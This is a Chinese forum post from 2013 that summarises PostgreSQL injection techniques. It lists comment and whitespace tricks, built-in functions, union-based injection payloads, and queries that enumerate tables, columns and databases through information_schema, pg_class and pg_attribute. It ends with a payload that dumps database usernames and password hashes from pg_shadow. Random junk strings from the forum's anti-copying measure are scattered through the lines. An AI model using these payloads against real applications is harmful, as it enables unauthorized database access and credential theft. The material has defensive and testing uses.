找回密码
 立即注册
查看: 2776|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点: Q6 z! Y/ i) R, o- {' A9 H1 h! t

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
, {  E- J/ c1 w* W- `- {连接符: %20 , + , /**/

内置函数:0 X. X6 Y+ ]( Y% f
current_database() //当前数据库名
+ a" F1 @! ^8 ]session_user //会话用户! a7 T, o5 O8 B# \5 m& x+ L* d
current_user //当前数据库用户
8 B, X3 J; \- O# C6 h2 {user //当前用户
4 }. T9 t8 x! C% o% }. f7 q: ]* pversion() //数据库版本

Union注射:. Y! i$ \& }& m" }/ q- z
order by n–
1 e6 m; G2 X( o$ l+ Aand 1=2 union select null,null,null–
0 h; ?$ D. t' d1 x; Dand 1=2 union select ‘beach’,null,null–
: J: j* [& |3 |" E( z7 Sand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
; `) v7 U  J0 R' P9 Y# q7 kgroup_concat(table_name)
- W; J- i  m  f6 J# z/ k6 ]and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–8 f8 a; F7 i: a4 i% ~
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–( {8 g2 _4 L0 M- z* F) }
(老版本). x  H+ ^- I8 m0 K2 s7 Q
pg_class.oid对应pg_attribute.attrelid
3 x( i: E. D6 x+ m4 v7 b, _8 Wpg_class.relname表名# x* U+ K# t& x/ h9 k; M
pg_attribute.attname字段名

select relname from pg_class获取表名
' N( Q5 E+ O* a  [* H+ rselect oid from pg_class where 条件 获取参数
" D# A( j8 X& s2 z; H: vselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
( }$ ]5 @6 M/ P. |1 ^2 `and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
! d$ K; K% O8 y4 Mand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
8 ~0 K% N& Q* m% e2 F由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名2 a7 Z) `# _/ }5 `+ c# a4 w  d% e
======================================================================# N2 T: c+ J8 ?$ ~, Q
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
( w! F! [  P" Gand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表